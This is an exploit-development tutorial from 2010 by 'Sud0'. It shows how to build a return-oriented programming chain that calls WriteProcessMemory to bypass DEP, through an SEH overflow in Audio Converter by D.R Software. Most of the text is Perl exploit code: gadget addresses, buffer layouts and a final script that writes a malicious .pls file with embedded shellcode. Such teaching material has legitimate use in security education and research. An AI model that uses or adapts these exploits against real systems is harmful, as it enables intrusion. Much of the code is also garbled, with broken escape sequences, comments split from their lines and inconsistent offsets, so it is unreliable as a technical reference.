Bypassing DEP with WPM & ROP
Case Study : Audio Converter by D.R Software
Exploit and Document by Sud0

sud0.x90 [ at ] gmail.com
sud0 [at] corelan.be
(May 2010)
Introduction:

For this first tutorial, I suppose that:
1. Everyone has an environment lab installed on its machine with necessary tools
2. Everyone knows the bases of Stack Overflow exploit writing
3. Everyone knows what SEH means and have knowledge on SEH exploit basis

Some Basic Definitions:

DEP (Data Execution Prevention): is a new mechanism to avoid execution of code in some memory location and essentially in the stack, so standard Return to the Stack techniques in Windows exploitation won't work.

ROP (Return Oriented programming): is a technique to use successive calls to memory locations of the program code itself to build and execute step by step a desired sequence of instructions.

WPM (Write Process Memory) a Microsoft function in kernel32.dll defined by Microsoft as: The WriteProcessMemory function writes data to an area of memory in a specified process. The entire area to be written to must be accessible, or the operation fails.

WriteProcessMemory: procedure

( )

hProcess: dword;
// Handle to the process whose memory is to be modified
var lpBaseAddress: var;
// Pointer to the base address in the specified process to which data will be written
var lpBuffer: var;
// Pointer to the buffer that contains data to be written into the address space of the specified process
nSize: dword;
// Specifies the requested number of bytes to write into the specified process
var lpNumberOfBytesWritten: dword
// Pointer to a variable that receives the number of bytes transferred.
);

Our Goal:

Our goal is to use ROP Technique to build a call to WPM that will copy our shellcode at address 0x7C8022CF so it will be executed right after the return from the ntdll.ZwWriteVirtualMemory call.
@start:
First, we have to know the offset to overwrite SEH, using a metasploit pattern and pvefindaddr (a nice tool from my friend peter) we can see:

As we are dealing with ROP, we only need to know the offset to SEH, no need to NSEH, so our first buffer should look like:

```
my $buffer = "A" x 4436 . "B" x 4 . "A" x 10000;
```

let's see if our SEH is overwritten by “0x42424242” => “BBBB”

By opening the file with Audio Converter in immunity we can see the SEH Chain as follow:

Nice we hit the SEH chain as desired.

No let's make a plan and see what we have:

1- we can notice that when crash occurs we have the following view of registers:

Some of you will say: w00t we have a starting point: EDI is pointing to our buffer.
Ok let's follow the SEH in the stack

Now let's modify the SEH value to a nice instruction in our executable module (i mean you can choose any address you like for now)

For me as you see, i just choose the first instruction i saw in the debugger, you can choose anyone.

Now we put a BreakPoint on that address and press Shift+F9 to pass exception to program and see what's new when it will start to process exception:
Hmmm as we can see, we have no longer pointer to our buffer in the stack, but let's check what really we have:

First we have the following pointers:

- **ESP** 0x0013C5F0
- **EBP** 0x0013C610

First thing to do before giving up is to really check where is our shellcode located.

Let's find out if our shellcode is in the stack and where it is located:
As we see it's located a little bit far than ESP at @ 0x0013CD50

lets do a small calculation :

For ESP : 0x0013CD50 – 0x0013C5F0 = 0x760

For EBP : 0x0013CD50 – 0x0013C610 = 0x740

Ok, now we need to increment ESP to land in our buffer so we can start playing ROP :

So here we are with our first ROP instruction that we have to execute it through SEH :

**Chapter 01 : Run ESP !!, Run**

The aim is to find a nice @ in memory where there is an instruction to increment ESP so it will make it point to our buffer then make a RETN to land somewhere in our Buffer so we can process next instruction :

OpCode of an ADD ESP,xxxxxxxx starts as : 81 C4 xx xx xx xx

ok lets search for an ADD esp instructions using the sequence of bytes : 81 C4 (for python programmers, you can make a small python command under immunity to collect them)

We can find a plenty of ADD ESP instructions But we have tow criteria to respect :

1- ADD ESP instruction must make ESP point inside our Buffer
2- It should be followed by a RETN instruction (could be not directly followed by retn but between the add esp and a retn should be no harmful instructions)
Bingo after a search hit, we can find a lot of them, for example, I chose the following one:

```
100137F2  81C4 78080000  ADD ESP,878
```

So first, our SEH have to point to 0x100137F2:
Now our buffer should be like following:

```
my $buffer = "A" x 4436 . "\x2F\x37\x01\x10" . "A" x 10000;
```

So let's reload the program in debugger and reopen the file to trigger the vuln again and then we have:

```
Perfect, our SEH is pointing right there, so let's put a Break Point on it and SHIFT+F9 to pass exception to program and see what happens:
```

As you see, we will land right there, so now let's use F8 to execute the ADD ESP instruction and stop on "RETN 8" and see what happens to the stack:
Great, ESP is inside our buffer, now let's see where we are, i mean the offset where ESP is pointing to process the RETN.
As we can see, our buffer starts at 0x0013CD50 and ESP is pointing to : 0x0013CE68, as usual lets make a small calculation :

0x0013CE68 - 0x0013CD50 = 0x118 = 280 bytes (in Decimal)

Now we know that the next ROP instruction address should be at offset 280 of our buffer, lets correct our buffer :

```plaintext
my $buff = “A” x 280 . “\x01\x00\x00\x00” . “B” x (4436 – 280) . “\x2F\x37\x01\x10” . “A” x 10000;
``` 

lets now reload, put a Break Point on our SEH, execute the ADD instruction and see the stack to verify that our retn after SEH will point to the address 0x00000001 :

Perfect, so now we know that our next ROP instruction address should be located after 280 bytes of our buffer, lets go to the next step.

**Chapter 02 : Find the Beast**

Lets make it clear, in this tutorial i'm trying to explain how to bypass DEP with WPM, here i'm explaining my method and my approach, so anyone can have another approach different than mine.

Ok here we go, as the WPM need the address of our shellcode as parameter, the next step in my plan was to fix the position of our shellcode, and for this i decided to make EAX pointing to my shellcode :

in the picture above, we can see that EAX=00000000, that is really nice because we can play with its value easily.

In my plan i had to choose between two approach :
1- MOV EAX, ESP
2- MOV EAX, EBP
so lets to do same as above and try to find all switeable sequence of instruction MOV EAX,ESP or MOV EAX,EBP that should finis by a RETN instruction with no harmful instruction between them.

Unfortunately there is no an easy and suitable MOV EAX,ESP, but i was lucky to find a nice MOV EAX,EBP, it took me to the following result:

At address 0x10002A31 we can see that we have the following three instructions:

- MOV EAX,EBP  ===> That's what we are looking for
- POP EBP  ===> Not harmful instruction, we don't need EBP for the moment
- RETN 4  ===> A nice RETN 4 to make us come back to the stack for next instruction

Lets update our buffer:

```
my $buffer = "A" x 280 . "\x31\x2A\x00\x10" . "B" x (4436 – 280) . "\x2F\x37\x01\x10" . "A" x 10000;
```

Lets put a Break Point on @ 0x10002A33 (on RETN 4) to see where our EAX points

Lets take a look at the stack:

We can notice that the RETN will take us back 12 bytes after after the previous ROP instruction address so our buffer will looks like

```
my $buffer = "A" x 280 . "\x31\x2A\x00\x10" . "B" x 12 ."\x00\x00\x00\x00" . "B" x (4436 –280-12-4) . "\x2F\x37\x01\x10" . "A" x 10000;
```
Don't worry about "\x00\x00\x00\x00" it's just to fix the place of our next instruction address, you can use any other sequence than null bytes, we will find our next instruction later

Now we have EAX pointing to 0x0013C610 but it's far from buffer, so here is the deal:

Next ROP Instruction should be done to increment EAX so it points to our BUFFER so we can find a place to our shellcode.

Lets find a nice set of instructions that looks like

Add EAX, xxxxxxx

......  \<= Should not be harmful
RETN x

in my case, i choosed the following one:

ADD EAX,100  \=> Excellent
POP EBP    \=> Not Harmful
RETN      \=> Excellent

So our buffer will look like:

`my $buffer = "A" x 280 . "x31\x2A\x00\x10" . "B" x 12 ."\x1D\xA4\x07\x10" . "B" x (4436 – 280-12-4) . "\x2F\x37\x01\x10" . "A" x 10000;`

ok nice, but we can see that adding 100 to EAX won't bring us to our buffer, so i though about making a loop:

Ok lets call this instruction nine times that would be suffisent to bring EAX to our buffer.

As our Buffer is becoming more and more complex lets reorganize it in a nicer way:

```perl
my $buffer = "A" x 280 # some junk
$buffer .= "x31\x2A\x00\x10" # mov eax,ebp / pop ebp / retn4
$buffer .= "B" x 12 # some junk
$buffer .= "\x1D\xA4\x07\x10" # add eax,100 / pop ebp / retn
$buffer .= "B" x (4436 – 280-12-4) # some junk
$buffer .= "\x2F\x37\x01\x10" # SEH : add esp, 878 / retn 8
$buffer .= "A" x 10000; # some junk
```

nice, no lets Break Point after the ADD EAX,100 and stop at the RETN to see where we will land in our stack
we can see that the next ADD EAX,100 instruction address should be 8 bytes after the first one, lets modify the buffer :

```perl
my $buffer  = "A" x 280  # some junk
$buffer .= "x31\x2A\x00\x10"  # mov eax,ebp / pop ebp / retn4
$buffer .= "B" x 12  # some junk
$buffer .= "x1D\x4A\x07\x10"  # add eax,100 / pop ebp / retn
$buffer .= "B" x 8  # some junk
$buffer .= "\x1D\x4A\x07\x10"  # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x (4436 –312)  # some junk
$buffer .= "x2F\x37\x01\x10"  # SEH : add esp, 878 / retn 8
$buffer .= "A" x 10000;  # some junk
```

Lets make 9 iteration so we can point EAX to a place for our shellcode that is far from ESP to have sufficient space to play

We can do same process again and again or just analyze the way that the stack change due to POP EBP and RETN we can build the sequence as follow :
my $buffer = "A" x 280
$buffer .= "x31\x2A\x00\x10" # mov eax,ebp / pop ebp / retn
$buffer = "B" x 12 # some junk
$buffer .= "\x31\x2A\x00\x10" # mov eax,ebp / pop ebp / retn
$buffer .= "B" x 8 # some junk
$buffer .= "\x31\x2A\x00\x10" # NEXT : add eax,100 / pop ebp / retn
$buffer = "B" x 4 ; # some junk
$buffer .= "\x31\x2A\x00\x10" # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; # some junk
$buffer .= "\x31\x2A\x00\x10" # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; # some junk
$buffer .= 4436 –360 # some junk
$buffer .= "\x2F\x37\x01\x10" # SEH : add esp, 878 / retn 8
$buffer .= "A" x 10000; # some junk

nice after the 9 iterations lets see what happened on the stack and our registers:
Nice, now we have EAX pointing to a place to put our shellcode, lets make a small calculation

If you remember well, our Buffer starts at address : 0x0013CD50

so here we are :

So relative offset to our shellcode from the beginning of buffer is :

\[0x0013CF10 - 0x0013CD50 = 0x1C0 = 448 \text{ bytes} \] (in Decimal)

Lets move to the next chapter

**Chapter 03 : Build the Trap**

Ok, next thing i though about is to build the WMP structure :

\[0x7C802213 \ [RET] \ [0xffffffff] \ [0x7C8022CF] \ [@ of shellcode] \ [length of Shellcode] \ [@ for results] \]

lets resume what we have :

\[[0x7C802213] \quad \Rightarrow \quad \text{Constant we have it} \]
\[[RET] \ [0xffffffff] \quad \Rightarrow \quad \text{This is not a problem} \]
\[[0x7C8022CF] \quad \Rightarrow \quad \text{Constant we have it} \]
\[[@ of shellcode] \quad \Rightarrow \quad \text{We have it in EAX} \]
\[[length of Shellcode] \quad \Rightarrow \quad \text{héhé} \]
\[[@ for results] \quad \Rightarrow \quad \text{Not a problem, just a writeable memory address} \]

We have all ingredients, lets build the cake :

All what we have to do is to put the @ of oir shellcode (EAX value) in the right place then call the WPM with a nice RET.

If we make some calculation we have

\[[0x7C802213] \ [RET] \ [0xffffffff] \ [0x7C8022CF] \ [@ of shellcode] \ [length of Shellcode] \ [@ for results] \]
\| ESP | ESP+4 | ESP+8 | ESP+0C | ESP+10 | ESP+14 | ESP+18 |
\|------|------|------|--------|-------|-------|-------|

So lets make it easy, lets find a small piece of code that will put EAX in ESP+10 and then do a RETN

so lets search for a small instruction like :

\text{mov} \ \text{dword} \ \text{ptr ss;}\text{[esp + 10]}, \ \text{eax} \]

Unfortunately no one of those instructions that we found are reliable, because no RETN after them, and a lot of bad instructions after the MOV ones.

Some ones could give up or go backward and search for another approach, but the idea is to think out of the box, so lets make a search again and be open minded :
And BINGO : I found the following one :

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Flags</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>00012B00</td>
<td>SF</td>
<td>C9</td>
<td>POP EDI</td>
</tr>
<tr>
<td>00012B01</td>
<td>C9</td>
<td></td>
<td>RETN</td>
</tr>
<tr>
<td>00012B02</td>
<td>00</td>
<td></td>
<td>PUSH 0</td>
</tr>
</tbody>
</table>

Like you see, we have no RETN, but what about CALL EDI ????

If we can control EDI, we can go anywhere we need.

So here is the deal :
Let's take this sequence instruction, but before executing it lets fix EDI to a nice place so the CALL EDI will be useful.

So imagine if we put all the parameters in place in the buffer and :

1- make the CALL EDI take us to the WPM function at address 0x7C802213
2- execute the mov dword ptr ss:[esp + 10], eax / call EDI

Ok, this is just a game so keep it simple :
We need that after the RET of CALL EDI we land in WPM (0x7C802213)
we all know that a call will push something on the stack :-)
so when we execute the RETN after the CALL EDI we will come back, but we want to land in our WPM after the RET of CALL EDI

What if we point EDI to something like :
ADD ESP,4       => bypass the @ of return of CALL EDI and point it to next value on the stack
                and guess what's the next value ??? 0x7C802213
.....       => No Harmful Instructions
RETN       => will land us at WPM

Ok lets search :

This one is fine.

I don't know if all of the readers can follow me but believe me, i try to make it as easier as i can.

Now, how to put this value in EDI ?

As i always said : just a POP EDI should be fine, so lets find a POP EDI / RETN sequence
so lets resume:

0x100012B6  <= This what we need to put in EDI
0x10008D00  <= This is how to put 0x100012B6 in EDI

Ok let's take a look to our buffer again and try to execute next instructions that :

if you remember good here is our last situation after 09 iterations of ADD EAX,100

So next @ on the stack should be the one pointing to POP EDI / RETN (10008D00), and the next value on the stack should be the @ of ADD ESP,4 / RETN (100012B6)
so our buffer will be like:

```perl
my $buffer = "A" x 280;
$buffer .= "x31\x2A\x00\x10";
$buffer .= "B" x 12;
$buffer .= "\x1D\xA4\x07\x10";
$buffer .= "B" x 8;
$buffer .= "\x1D\xA4\x07\x10";
$buffer .= "B" x 12;
$buffer .= "\x1D\xA4\x07\x10";
$buffer .= "B" x 8;
$buffer .= "\x1D\xA4\x07\x10";
$buffer .= "B" x 4 ;
$buffer .= "\x1D\xA4\x07\x10";
$buffer .= "B" x 4 ;
$buffer .= "\x1D\xA4\x07\x10";
$buffer .= "B" x 4 ;
$buffer .= "\x1D\xA4\x07\x10";
$buffer .= "B" x 4 ;
$buffer .= "\x1D\xA4\x07\x10";
$buffer .= "B" x 4 ;
$buffer .= "\x1D\xA4\x07\x10";
$buffer .= "B" x 4 ;
$buffer .= "\x00\x8D\x00\x10";
$buffer .= "\xB6\x12\x00\x10";
$buffer .= "B" x (4436 -360) ;
$buffer .= "\x2F\x37\x01\x10"
$buffer .= "A" x 10000;
```

# some junk
# mov eax,ebp / pop ebp / retn4
# some junk
# add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# POP EDI / RETN
# NEXT : ADD ESP,4 / RETN

# some junk
# SEH : add esp, 878 / retn 8
# some junk
Lets see what happens when it's executed, just make a Break Point on 0x10008D00

Perfect, now EDI is pointing 0x100012B6:

Now we prepared our last call to mov dword ptr ss:[esp + 10], eax / call EDI so last thing will be to put all the parameters to WPM on the stack EXCEPT the @ of our shellcode that we will put it through the instruction : “mov dword ptr ss:[esp + 10], eax / call EDI”

But first, lets just find an instruction that makes ESP a little bit FAR so we can put our parameters easily

Lets search for a sequence that makes esp a little bit far but before EAX something like:

add esp,xx / ret

lets make a search :

For example i chose the following one :

Nice one this will add 14 bytes to ESP at address 0x10002105

So before the last call, lets make ESP = ESP+14, lets arrange our buffer :

lets see the status of the stack before
Easy, just add to the buffer directly the address of Add esp, 14 / Retn (0x10002105)

so now our buffer will look like

```perl
my $buffer = "A" x 280;  # some junk
 BUFFER .= "\x31\x2A\x00\x10";   # mov eax,ebp / pop ebp / retn4
 BUFFER .= "B" x 12;      # some junk
 BUFFER .= "\x1D\xA4\x07\x10";  # add eax,100 / pop ebp / retn
 BUFFER .= "B" x 8;       # some junk
 BUFFER .= "\x1D\xA4\x07\x10";  # NEXT : add eax,100 / pop ebp / retn
 BUFFER .= "B" x 4;       # some junk
 BUFFER .= "\x1D\xA4\x07\x10";  # NEXT : add eax,100 / pop ebp / retn
 BUFFER .= "B" x 4;       # some junk
 BUFFER .= "\x1D\xA4\x07\x10";  # NEXT : add eax,100 / pop ebp / retn
 BUFFER .= "B" x 4;       # some junk
 BUFFER .= "\x1D\xA4\x07\x10";  # NEXT : add eax,100 / pop ebp / retn
 BUFFER .= "B" x 4;       # some junk
 BUFFER .= "\x1D\xA4\x07\x10";  # NEXT : add eax,100 / pop ebp / retn
 BUFFER .= "B" x 4;       # some junk
 BUFFER .= "\x1D\xA4\x07\x10";  # NEXT : add eax,100 / pop ebp / retn
 BUFFER .= "B" x 4;       # some junk
 BUFFER .= "\x1D\xA4\x07\x10";  # NEXT : add eax,100 / pop ebp / retn
 BUFFER .= "B" x 4;       # some junk
 BUFFER .= "\x1D\xA4\x07\x10";  # NEXT : add eax,100 / pop ebp / retn
 BUFFER .= "B" x 4;       # some junk
 BUFFER .= "\x1D\xA4\x07\x10";  # NEXT : add eax,100 / pop ebp / retn
 BUFFER .= "B" x 4;       # some junk
 BUFFER .= "00"x8D\x00\x10";  # POP EDI / RETN
 BUFFER .= "\xB6\x12\x00\x10";  # ADD ESP,4 / RETN
 BUFFER .= "\x05\x21\x00\x10";  # ADD ESP,14 / RETN
 BUFFER .= "B" x 4436 –360 # some junk
 BUFFER .= "A" x 10000;   # some junk
```
We arrived at the final LAP

Chapter 04 : Killing the BEAST

lets make a BP after the ADD ESP,14 on the RETN and see what we have

OK we gave our-self some place to work, here is the next step :

Next instruction is the final one :

0x10028479     ==>  mov dword ptr ss:[esp + 10], eax / call EDI

As we see it's 20 bytes after last instruction so lets add it to our buffer :

```
my $buffer = "A" x 280; # some junk
Buffer := "x31x2A\x00\x10"; # mov eax,ebp / pop ebp / retn4
Buffer := "B" x 12; # some junk
Buffer := "\x1D\xA4\x07\x10"; # add eax,100 / pop ebp / retn
Buffer := "B" x 8; # some junk
Buffer := "x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
Buffer := "B" x 4; # some junk
Buffer := "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
Buffer := "B" x 4; # some junk
Buffer := "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
Buffer := "B" x 4; # some junk
Buffer := "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
Buffer := "B" x 4; # some junk
Buffer := "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
```
$buffer .= "B" x 4 ;  # some junk
$buffer .= "\x00\x8B\x00\x10";  # POP EDI / RETN
$buffer .= "\x00\x12\x00\x10";  # ADD ESP,4 / RETN
$buffer .= "\x05\x21\x00\x10";  # ADD ESP,14 / RETN

$buffer .= "B" x 20 ;  # some junk
$buffer .= "\x79\x84\x02\x10";  # mov dword ptr ss:[esp + 10], eax / call EDI

$buffer .= "B" x (4436 – 360)  # some junk
$buffer .= "\x2F\x37\x01\x10"  # SEH : add esp, 878 / retn 8
$buffer .= "A" x 10000;  # some junk

Lets make a Break Point on the CALL EDI and see what we have

BINGO as we see everything is in place we have just to organize our buffer and add the known parameter for WPM as follow :

- \[0x7C802213\]  => Constant we have it
- \[0x7C8022CF\]  => Constant we have it
- \[0xFFFFFFFF\]  => this is example, The ret, choose and put it as you like
- \[0xFFFFFFFF\]  => This is the hprocess (-1 means the process itself)
- \[0xFFFFFFFF\]  => Constant we have it
- \[@ for shellcode\]  => Just put some junk, it will be overwritten by @ in EAX
- \[length of Shellcode\]  => 0000001A
- \[@ for results\]  => just find a writable memory address using immunity
here is what we will have, but still to add the writeable memory location after length

so here is the final BUFFER

```perl
my $buffer = "A" x 280;
$buffer .= "x31\x2A\x00\x10";
$buffer .= "B" x 12;
$buffer .= "x1D\xA4\x07\x10";
$buffer .= "B" x 8;
$buffer .= "x1D\xA4\x07\x10";
$buffer .= "B" x 4;
$buffer .= "x1D\xA4\x07\x10";
$buffer .= "B" x 4;
$buffer .= "x1D\xA4\x07\x10";
$buffer .= "B" x 4;
$buffer .= "x1D\xA4\x07\x10";
$buffer .= "B" x 4;
$buffer .= "x1D\xA4\x07\x10";
$buffer .= "B" x 4;
$buffer .= "x1D\xA4\x07\x10";
$buffer .= "B" x 4;
$buffer .= "x1D\xA4\x07\x10";
$buffer .= "B" x 4;
$buffer .= "x00\x8D\x00\x10";
$buffer .= "x6B\x12\x00\x10";
$buffer .= "x05\x21\x00\x10";
$buffer .= "B" x 20;
$buffer .= "\x79\x84\x02\x10";
$buffer .= "x13\x22\x80\x7C";
$buffer .= "\xFF\xFF\xFF\xFF";
$buffer .= "xCF\x22\x80\x7C";
$buffer .= "B" x 4;
$buffer .= "x1A\x00\x00\x00";
$buffer .= "x00\xA0\x45\x00";
$buffer .= "B" x 12;
$buffer .= $shellcode;
$buffer .= "B" x (4436 –360)
$buffer .= "x2F\x37\x01\x10"
$buffer .= "A" x 10000;
```

# some junk
# mov eax,ebp / pop ebp / retn4
# some junk
# add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# NEXT : add eax,100 / pop ebp / retn
# some junk
# POP EDI / RETN
# ADD ESP,4 / RETN
# ADD ESP,14 / RETN
# mov dword ptr ss:[esp + 10], eax / call EDI
# @ of WPM
# RET after WPM choose one and use it
# -1 : means process itself
# Destination address
# some junk, @ of shellcode will land here
# size of shellcode
# writeable Memory
# some junk
# some junk
# SEH : add esp, 878 / retn 8
# some junk
```
so here is the final exploit:

```perl
my $filename="audio-poc.pls";
my $shellcode = "\x8B\xEC\x55\x8B\xEC\x68\x20\x20\x20\x45\x88\x50\xB8\xC7\x93\xC2\x77\xFF\xD0";
my $buffer = "A" x 280;
    $buffer .= "\x31\x2A\xA0\x00\x10"; # mov eax, ebp / pop ebp / ret 4
    $buffer .= "B" x 12; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # add eax, 100 / pop ebp / ret
    $buffer .= "B" x 8; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax, 100 / pop ebp / ret
    $buffer .= "B" x 4; # some junk
    $buffer .= "\x00\x8D\x00\x10"; # POP EDI / RETN
    $buffer .= "\xB6\x12\x00\x10"; # ADD ESP, 4 / RETN
    $buffer .= "\x05\x21\x00\x10"; # ADD ESP, 14 / RETN
    $buffer .= "B" x 20; # some junk
    $buffer .= "\x79\x84\x02\x10"; # mov dword ptr ss:[esp + 10], eax / call EDI
    $buffer .= "\x13\x22\x80\x7C"; # @ of WPM
    $buffer .= "\xFF\xFF\xFF\xFF"; # RET after WPM choose one and use it
    $buffer .= "\xFF\xFF\xFF\xFF"; # -1 : means process itself
    $buffer .= "\xCF\x22\x80\x7C"; # Destination address
    $buffer .= "B" x 4; # some junk, @ of shellcode will land here
    $buffer .= "\x1A\x00\x00\x00"; # size of shellcode
    $buffer .= "\x00\xA0\x45\x00"; # Writeable memory
    $buffer .= "B" x 12; # some junk
    $buffer .= "$\shellcode";
    $buffer .= "B" x (4436 - length($buffer)); # some junk
    $buffer .= "\x2F\x37\x01\x10"; # SEH : add esp, 878 / ret 8
    $buffer .= "A" x 10000; # some junk

print "Removing old $filename file\n\nsystem("del $filename");
print "Creating new $filename file\nopen(FILE, "+>$filename");
print FILE $buffer;

close(FILE);
```
Thanks to my wife for her continual support
Greetz to the corelan team ( a really nice guys )

for any questions :
sud0.x90 [at] gmail.com
sud0 [at] corelan.be
http://sud0-says.blogspot.com/